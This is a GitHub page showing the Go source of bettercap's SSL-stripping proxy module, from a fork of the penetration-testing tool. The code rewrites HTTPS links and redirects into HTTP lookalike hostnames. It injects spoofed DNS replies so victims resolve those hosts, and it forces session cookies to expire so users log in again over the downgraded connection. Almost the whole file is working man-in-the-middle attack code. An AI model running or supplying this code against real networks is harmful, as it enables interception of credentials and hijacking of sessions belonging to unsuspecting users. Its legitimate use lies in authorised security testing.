forked from bettercap/bettercap
-
Notifications
You must be signed in to change notification settings - Fork 4
/
http_proxy_base_sslstriper.go
365 lines (309 loc) · 8.84 KB
/
http_proxy_base_sslstriper.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
package modules
import (
"fmt"
"io/ioutil"
"net"
"net/http"
"net/url"
"regexp"
"strings"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
"github.com/elazarl/goproxy"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/evilsocket/islazy/tui"
)
var (
maxRedirs = 5
httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`)
subdomains = map[string]string{
"www": "wwwww",
"webmail": "wwebmail",
"mail": "wmail",
"m": "wmobile",
}
)
type SSLStripper struct {
enabled bool
session *session.Session
cookies *CookieTracker
hosts *HostTracker
handle *pcap.Handle
pktSourceChan chan gopacket.Packet
redirs map[string]int
}
func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper {
strip := &SSLStripper{
enabled: false,
cookies: NewCookieTracker(),
hosts: NewHostTracker(),
session: s,
handle: nil,
redirs: make(map[string]int),
}
strip.Enable(enabled)
return strip
}
func (s *SSLStripper) Enabled() bool {
return s.enabled
}
func (s *SSLStripper) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) {
redir := fmt.Sprintf("(->%s)", address)
who := target.String()
if t, found := s.session.Lan.Get(target.String()); found {
who = t.String()
}
log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
var err error
var src, dst net.IP
nlayer := pkt.NetworkLayer()
if nlayer == nil {
log.Debug("Missing network layer skipping packet.")
return
}
pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
src = pip.DstIP
dst = pip.SrcIP
eth := layers.Ethernet{
SrcMAC: peth.DstMAC,
DstMAC: target,
EthernetType: layers.EthernetTypeIPv4,
}
answers := make([]layers.DNSResourceRecord, 0)
for _, q := range req.Questions {
answers = append(answers,
layers.DNSResourceRecord{
Name: []byte(q.Name),
Type: q.Type,
Class: q.Class,
TTL: 1024,
IP: address,
})
}
dns := layers.DNS{
ID: req.ID,
QR: true,
OpCode: layers.DNSOpCodeQuery,
QDCount: req.QDCount,
Questions: req.Questions,
Answers: answers,
}
ip4 := layers.IPv4{
Protocol: layers.IPProtocolUDP,
Version: 4,
TTL: 64,
SrcIP: src,
DstIP: dst,
}
udp := layers.UDP{
SrcPort: pudp.DstPort,
DstPort: pudp.SrcPort,
}
udp.SetNetworkLayerForChecksum(&ip4)
var raw []byte
err, raw = packets.Serialize(ð, &ip4, &udp, &dns)
if err != nil {
log.Error("Error serializing packet: %s.", err)
return
}
log.Debug("Sending %d bytes of packet ...", len(raw))
if err := s.session.Queue.Send(raw); err != nil {
log.Error("Error sending packet: %s", err)
}
}
func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
typeEth := pkt.Layer(layers.LayerTypeEthernet)
typeUDP := pkt.Layer(layers.LayerTypeUDP)
if typeEth == nil || typeUDP == nil {
return
}
eth := typeEth.(*layers.Ethernet)
dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS)
if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 {
udp := typeUDP.(*layers.UDP)
for _, q := range dns.Questions {
domain := string(q.Name)
original := s.hosts.Unstrip(domain)
if original != nil && original.Address != nil {
s.dnsReply(pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC)
}
}
}
}
func (s *SSLStripper) Enable(enabled bool) {
s.enabled = enabled
if enabled && s.handle == nil {
var err error
if s.handle, err = pcap.OpenLive(s.session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
panic(err)
}
if err = s.handle.SetBPFFilter("udp"); err != nil {
panic(err)
}
go func() {
defer func() {
s.handle.Close()
s.handle = nil
}()
for s.enabled {
src := gopacket.NewPacketSource(s.handle, s.handle.LinkType())
s.pktSourceChan = src.Packets()
for packet := range s.pktSourceChan {
if !s.enabled {
break
}
s.onPacket(packet)
}
}
}()
}
}
func (s *SSLStripper) isContentStrippable(res *http.Response) bool {
for name, values := range res.Header {
for _, value := range values {
if name == "Content-Type" {
return strings.HasPrefix(value, "text/") || strings.Contains(value, "javascript")
}
}
}
return false
}
func (s *SSLStripper) processURL(url string) string {
// first we remove the https schema
url = strings.Replace(url, "https://", "http://", 1)
// search for a known subdomain and replace it
found := false
for sub, repl := range subdomains {
what := fmt.Sprintf("://%s", sub)
with := fmt.Sprintf("://%s", repl)
if strings.Contains(url, what) {
url = strings.Replace(url, what, with, 1)
found = true
break
}
}
// fallback
if !found {
url = strings.Replace(url, "://", "://wwww.", 1)
}
return url
}
// sslstrip preprocessing, takes care of:
//
// - handling stripped domains
// - making unknown session cookies expire
func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redir *http.Response) {
if !s.enabled {
return
}
// well ...
if req.URL.Scheme == "https" {
// TODO: check for max redirects?
req.URL.Scheme = "http"
}
// handle stripped domains
original := s.hosts.Unstrip(req.Host)
if original != nil {
log.Info("[%s] Replacing host %s with %s in request from %s", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr)
req.Host = original.Hostname
req.URL.Host = original.Hostname
req.Header.Set("Host", original.Hostname)
}
if !s.cookies.IsClean(req) {
// check if we need to redirect the user in order
// to make unknown session cookies expire
log.Info("[%s] Sending expired cookies for %s to %s", tui.Green("sslstrip"), tui.Yellow(req.Host), req.RemoteAddr)
s.cookies.Track(req)
redir = s.cookies.Expire(req)
}
return
}
func (s *SSLStripper) isMaxRedirs(hostname string) bool {
// did we already track redirections for this host?
if nredirs, found := s.redirs[hostname]; found {
// reached the threshold?
if nredirs >= maxRedirs {
log.Warning("[%s] Hit max redirections for %s, serving HTTPS.", tui.Green("sslstrip"), hostname)
// reset
delete(s.redirs, hostname)
return true
} else {
// increment
s.redirs[hostname]++
}
} else {
// start tracking redirections
s.redirs[hostname] = 1
}
return false
}
func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
if !s.enabled {
return
}
// is the server redirecting us?
if res.StatusCode != 200 {
// extract Location header
if location, err := res.Location(); location != nil && err == nil {
orig := res.Request.URL
origHost := orig.Hostname()
newHost := location.Host
newURL := location.String()
// are we getting redirected from http to https?
if orig.Scheme == "http" && location.Scheme == "https" {
log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost))
// if we still did not reach max redirections, strip the URL down to
// an alternative HTTP version
if !s.isMaxRedirs(origHost) {
strippedURL := s.processURL(newURL)
u, _ := url.Parse(strippedURL)
hostStripped := u.Hostname()
s.hosts.Track(origHost, hostStripped)
res.Header.Set("Location", strippedURL)
}
}
}
}
// if we have a text or html content type, fetch the body
// and perform sslstripping
if s.isContentStrippable(res) {
raw, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Error("Could not read response body: %s", err)
return
}
body := string(raw)
urls := make(map[string]string)
matches := httpsLinksParser.FindAllString(body, -1)
for _, u := range matches {
// make sure we only strip stuff we're able to
// resolve and process
if strings.ContainsRune(u, '.') {
urls[u] = s.processURL(u)
}
}
nurls := len(urls)
if nurls > 0 {
plural := "s"
if nurls == 1 {
plural = ""
}
log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host))
}
for url, stripped := range urls {
log.Debug("Stripping url %s to %s", tui.Bold(url), tui.Yellow(stripped))
body = strings.Replace(body, url, stripped, -1)
hostOriginal := strings.Replace(url, "https://", "", 1)
hostStripped := strings.Replace(stripped, "http://", "", 1)
s.hosts.Track(hostOriginal, hostStripped)
}
// reset the response body to the original unread state
// but with just a string reader, this way further calls
// to ioutil.ReadAll(res.Body) will just return the content
// we stripped without downloading anything again.
res.Body = ioutil.NopCloser(strings.NewReader(body))
}
}